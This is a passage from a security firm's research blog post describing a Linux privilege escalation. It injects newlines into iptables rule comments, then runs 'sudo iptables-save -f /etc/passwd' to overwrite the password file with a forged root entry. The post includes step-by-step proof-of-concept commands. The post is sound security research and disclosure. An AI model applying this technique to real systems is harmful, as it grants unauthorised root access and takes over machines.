class=line><span class=cl>-P OUTPUT ACCEPT </span></span><span class=line><span class=cl>-A INPUT -i lo -j ACCEPT </span></span><span class=line><span class=cl>-A INPUT -i lo -m comment --comment <span class=s2>"Allow packets to localhost"</span> -j ACCEPT </span></span><span class=line><span class=cl>-A INPUT -i lo -m comment --comment <span class=s2>"Allow packets to localhost </span></span></span><span class=line><span class=cl><span class=s2>This rule rocks!"</span> -j ACCEPT </span></span></code></pre></td></tr></table></div></div><p>This is definitely interesting – we’ve established that <code>iptables</code> preserves newlines in comments, which means that we can control multiple arbitrary lines in the output of an <code>iptables</code> rule dump.</p><p>…can you guess how this can be leveraged?</p><h3 id=step-2-arbitrary-file-overwrite-via-iptables-save>Step 2: Arbitrary File Overwrite via iptables-save</h3><p>Before starting to shoot commands out, let’s <strong>RTFM</strong>:</p><blockquote><p>iptables-save and ip6tables-save are used to dump the contents of IP or IPv6 Table in easily parseable format either to STDOUT or to a speci‐ fied file.</p></blockquote><p>If this man page is right (it probably is), by simply running <code>iptables-save</code> without specifying any file, the rules will be dumped to STDOUT:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1 </span><span class=lnt> 2 </span><span class=lnt> 3 </span><span class=lnt> 4 </span><span class=lnt> 5 </span><span class=lnt> 6 </span><span class=lnt> 7 </span><span class=lnt> 8 </span><span class=lnt> 9 </span><span class=lnt>10 </span><span class=lnt>11 </span><span class=lnt>12 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>$ sudo iptables-save </span></span><span class=line><span class=cl><span class=c1># Generated by iptables-save v1.8.10 (nf_tables) on Tue Aug 13 19:50:55 2024</span> </span></span><span class=line><span class=cl>*filter </span></span><span class=line><span class=cl>:INPUT ACCEPT <span class=o>[</span>936:2477095<span class=o>]</span> </span></span><span class=line><span class=cl>:FORWARD ACCEPT <span class=o>[</span>0:0<span class=o>]</span> </span></span><span class=line><span class=cl>:OUTPUT ACCEPT <span class=o>[</span>0:0<span class=o>]</span> </span></span><span class=line><span class=cl>-A INPUT -i lo -j ACCEPT </span></span><span class=line><span class=cl>-A INPUT -i lo -m comment --comment <span class=s2>"Allow packets to localhost"</span> -j ACCEPT </span></span><span class=line><span class=cl>-A INPUT -i lo -m comment --comment <span class=s2>"Allow packets to localhost </span></span></span><span class=line><span class=cl><span class=s2>This rule rocks!"</span> -j ACCEPT </span></span><span class=line><span class=cl>COMMIT </span></span><span class=line><span class=cl><span class=c1># Completed on Tue Aug 13 19:50:55 2024</span> </span></span></code></pre></td></tr></table></div></div><p>it seems <code>iptables-save</code>, too, is preserving the injected newline. Now that we know this, we can proceed to test its functionality by specifying a filename, supplying the <code>-f</code> switch. The output shows us we’re onto a good path:</p><figure><img src=/img/blog/iptables_save_root.png></figure><p>The screenshot gives us two important informations:</p><ol><li>We can control arbitrary lines on the file written by <code>iptables-save</code>.</li><li>Since this is running with <code>sudo</code>, the file is owned by <code>root</code>.</li></ol><p>Where can we point this armed weapon? Onto the next section!</p><h3 id=step-3-crafting-root-users>Step 3: Crafting Root Users</h3><p>Recap: by leveraging arbitrary comments containing <code>\n</code> via <code>iptables</code>, and running <code>iptables-save</code>, we can write arbitrary files as <code>root</code>, and we partially control its lines – partially, yes, because the <code>iptables-save</code> outputs some data that can’t be controlled, before and after our injected comment.</p><p>How can this be useful? Well, there’s at least one way to turn this into a good privilege escalation, and it is thanks to the (in)famous <code>/etc/passwd</code> file. In fact, this file contains entries for each user that can log into the system, which includes metadata such as the hash of the password, and the UID of the user. Can you see where this is going?</p><p>Yes, we’re going to write a perfectly valid passwd <code>root</code> entry into an <code>iptables</code> rule, and we’re going to overwrite the <code>/etc/passwd</code> file via <code>iptables-save</code>. Since the injected line will also contain the password hash of the user, after the overwrite happens, we should be able to simply run <code>su root</code> and input the injected password.</p><p>At this point, we only have one doubt: will the other lines (which are not valid entries) break the system beyond repair? Clearly, there’s only one way to find out.</p><h3 id=proof-of-concept>Proof of Concept</h3><p>The steps to reproduce the privilege escalation are simple:</p><ol><li>Encrypt the new <code>root</code> password in the right format by running <code>openssl passwd <password></code></li><li>Take the entry for <code>root</code> in the <code>/etc/passwd</code>, and copy it somewhere, replacing the <code>x</code> value of the encrypted password with the value generated at step 2</li><li>Inject the forged <code>root</code> entry in a new <code>iptables</code> rule comment</li></ol><figure><img src=/img/blog/iptables_injected_line.png></figure><ol start=4><li>Overwrite <code>/etc/passwd</code> by running <code>sudo iptables-save -f /etc/passwd</code></li></ol><figure><img src=/img/blog/iptables_passwd_overwrite.png></figure><ol start=5><li>Verify that you can now <code>su root</code> with the password chosen at step 1</li></ol><figure><img src=/img/blog/iptables_privesc_successful.png></figure><h3 id=limitations--possible-improvements>Limitations & Possible Improvements</h3><p>The main limitation of this technique lies in its reduced likelihood: in fact, in order for the privilege escalation to be executed, a user must be granted <code>sudo</code> on both the <code>iptables</code> and <code>iptables-save</code> commands; while this certainly happens in the wild, it would be great if we could make this scenario even more likely. This might be doable: <code>iptables-save</code> is actually part of the <code>iptables</code> suite, as the latter supports an <code>argv[0]</code>-based aliasing mechanism to select from the full suite the command to run. Therefore, if it <em>were</em> possible to force <code>iptables</code> to act as <code>iptables-save</code>, then the <code>iptables-save</code> command would not be necessary anymore.</p><p>Moreover, while for this scenario overwriting <code>/etc/passwd</code> was provably enough, your imagination is the limit: there might be other interesting gadgets to use in a Linux system! Mostly, the requirements for a “good” overwrite target are:</p><ul><li>It must split “entries” by newlines.</li><li>It must ignore invalid, junk lines.</li></ul><h2 id=pitch->Pitch 🗣</h2><p>Are you developing network appliances with limited shells for the operators and wondering if they can elevate their privileges? We’ve got you covered - <a href=/contacts/>hire us</a> to go with the extra mile and find unknown privilege escalation vectors.</p></div><div class="col-12 col-lg-3 offset-lg-1 order-first order-lg-last mb-5 mb-lg-0"><div class=row><div class=col-12><i class="far fa-clock bigger-icon text-center pr-2"></i> <span class="font-weight-bold bigger-icon mb-0 pr-2">10</span> <span class="text-uppercase mb-0">min</span></div><div class="col-12 my-4"><p class="text-muted text-uppercase smaller mb-1">Date</p><p class="font-weight-bold text-uppercase mb-0">20 September 2024</p></div><div class=col-12><p class=mb-0><i class="fas fa-tag text-primary pr-2"></i> <span class="badge badge-pill border text-muted border-primary text-uppercase mb-2 mr-1"><a class="smaller text-decoration-none text-muted" title=linux href=/tags/linux>linux</a> </span><span class="badge badge-pill border text-muted border-primary text-uppercase mb-2 mr-1"><a class="smaller text-decoration-none text-muted" title=research href=/tags/research>research</a></span></p></div><div class="col-12 mt-4"><p class="text-muted text-uppercase smaller mb-1">Author</p><p class="text-uppercase font-weight-bold mb-0"><a class="text-uppercase text-decoration-none text-dark" title=suidpit href=/authors/suidpit>suidpit</a></p><span><a href=https://twitter.com/suidpit title="suidpit Twitter profile" target=_blank rel=noopener class=text-dark><i class="fab fa-square-x-twitter bigger-icon mx-1"></i></a> <a href=https://github.com/suidpit title="suidpit GitHub profile" target=_blank rel=noopener class=text-dark><i class="fab fa-github-square bigger-icon mx-1"></i></a></span><p><p>Security Researcher and Penetration Tester at Shielder. Human, Chaotic Good. Disciple of Bushido & Disney.</p></p></div><div class="col-12 mt-4"><p class="text-muted text-uppercase smaller mb-1">Author</p><p class="text-uppercase font-weight-bold mb-0"><a class="text-uppercase text-decoration-none text-dark" title=smaury href=/authors/smaury>smaury</a></p><span><a href=https://twitter.com/smaury92 title="smaury Twitter profile" target=_blank rel=noopener class=text-dark><i class="fab fa-square-x-twitter bigger-icon mx-1"></i></a> <a href=https://github.com/smaury title="smaury GitHub profile" target=_blank rel=noopener class=text-dark><i class="fab fa-github-square bigger-icon mx-1"></i></a> <a href=https://linkedin.com/in/smaury title="smaury LinkedIn profile" target=_blank rel=noopener class=text-dark><i class="fab fa-linkedin bigger-icon mx-1"></i></a></span><p><p>I’m Abdel Adim Oisfi aka smaury.<br>Job: CEO, Security Researcher, Penetration Tester at Shielder.<br>Passions: Hacking, hitchhiking, cliff jumping and skinned knees.</p></p></div></div></div></div><div class="row mt-5"><div class="col-12 col-lg-6"><p class="text-muted title-3 mb-0">Previous post</p><p><a class="title-2 font-weight-bold" title="Boost Security Audit" href=https://www.shielder.com/blog/2024/05/boost-security-audit/>Boost Security Audit</a></p></div><div class="col-12 col-lg-6"><p class="text-muted title-3 mb-0">Next post</p><p><a class="title-2 font-weight-bold" title="Karmada Security Audit" href=https://www.shielder.com/blog/2025/01/karmada-security-audit/>Karmada Security Audit</a></p></div></div></div></section><footer class="pt-5 pb-4 px-3 px-md-0"><div class=container><div class="row text-center"><div class="col-12 col-lg-4 text-white border-bottom mb-4 pb-lg-0 mb-lg-0"><p class="text-uppercase font-weight-bold">Info</p><p class=footer-info>Shielder S.p.A.</p><p class=footer-info>P.I. 11435310013</p><p class=footer-info>REA TO - 1213132</p><p class=footer-info>Registered Capital: 81.000,00 €</p><p><a class="text-decoration-none text-white" target=_blank rel=noopener href="https://www.google.it/maps/place/Shielder/@44.8833849,7.3303863,17z/data=!3m1!4b1!4m5!3m4!1s0x4788250440849fa5:0x74cf10f2092abc85!8m2!3d44.8833849!4d7.332575" title="corporate headquarters">Via Palestro, 1/C<br>10064 Pinerolo (TO) Italy</a></p><div class="iso-logos row justify-content-center mb-4 pb-lg-0 mb-lg-0"><div class=col-3><img alt=ISO27001 src=/img/iso27001.png></div><div class=col-3><img alt=ISO9001 src=/img/iso9001.png></div></div></div><div class="col-12 col-lg-4 text-white border-bottom mb-4 pb-lg-0 mb-lg-0"><p class="text-uppercase font-weight-bold">Contacts</p><p class=footer-contact><a class="text-decoration-none text-white" href=mailto:info@shielder.com title="email Shielder">info@shielder.com</a></p><p class=footer-contact>Landline: <a class="text-decoration-none text-white" href=tel:+390121393642 title=Landline>(+39) 0121 - 39 36 42</a></p><p class=footer-contact>Commercial: <a class="text-decoration-none text-white" href=tel:+393453031983 title=Commercial>(+39) 345 - 30 31 983</a></p><p class=footer-contact>Technical: <a class="text-decoration-none text-white" href=tel:+393931666814 title=Technical>(+39) 393 - 16 66 814</a></p><p><span><a href=https://twitter.com/ShielderSec title="Shielder Twitter profile" target=_blank rel="noopener me" class=text-white><i class="fab fa-x-twitter bigger-icon"></i></a> </span><span class=pl-3><a href=https://infosec.exchange/@Shielder title="Shielder Mastodon profile" target=_blank rel="noopener me" class=text-white><i class="fab fa-mastodon bigger-icon"></i></a> </span><span class=px-3><a href=https://www.linkedin.com/company/shielder title="Shielder LinkedIn profile" target=_blank rel="noopener me" class=text-white><i class="fab fa-linkedin bigger-icon"></i></a> </span><span><a href=https://github.com/shieldersec title="Shielder Github profile" target=_blank rel="noopener me" class=text-white><i class="fab fa-github bigger-icon"></i></a></span></p></div><div class="col-12 col-lg-4 text-white mb-4 pb-lg-0 mb-lg-0"><p class="text-uppercase font-weight-bold">Sitemap</p><p><a class="text-decoration-none text-white" title=Home href=https://www.shielder.com/>Home</a></p><p><a class="text-decoration-none text-white" title=Company href=https://www.shielder.com/company>Company</a></p><p><a class="text-decoration-none text-white" title=Services href=https://www.shielder.com/services>Services</a></p><p><a class="text-decoration-none text-white" title=Advisories href=https://www.shielder.com/advisories>Advisories</a></p><p><a class="text-decoration-none text-white" title=Blog href=https://www.shielder.com/blog>Blog</a></p><p><a class="text-decoration-none text-white" title=Careers href=https://www.shielder.com/careers>Careers</a></p><p><a class="text-decoration-none text-white" title=Contacts href=https://www.shielder.com/contacts>Contacts</a></p></div><div class="col-12 mt-5"><span class="mb-2 mb-lg-0 border-md-right pr-2 text-white d-block d-lg-inline">Copyright © Shielder 2014 - 2025</span> <span class="mb-2 mb-lg-0 border-md-right pr-2 pl-1 text-white d-block d-lg-inline"><a class="text-decoration-none text-white" href=/disclosure-policy title="Disclosure Policy">Disclosure policy</a></span> <span class="mb-2 mb-lg-0 pr-2 pl-1 text-white d-block d-lg-inline"><a class="text-decoration-none text-white" href=/privacy-policy title="Privacy Policy">Privacy policy</a></span></div></div></div></footer><script src=https://www.shielder.com/js/jquery.min.js></script><script src=https://www.shielder.com/js/app.js></script><script src=https://www.shielder.com/js/bootstrap.bundle.min.js></script></body></html>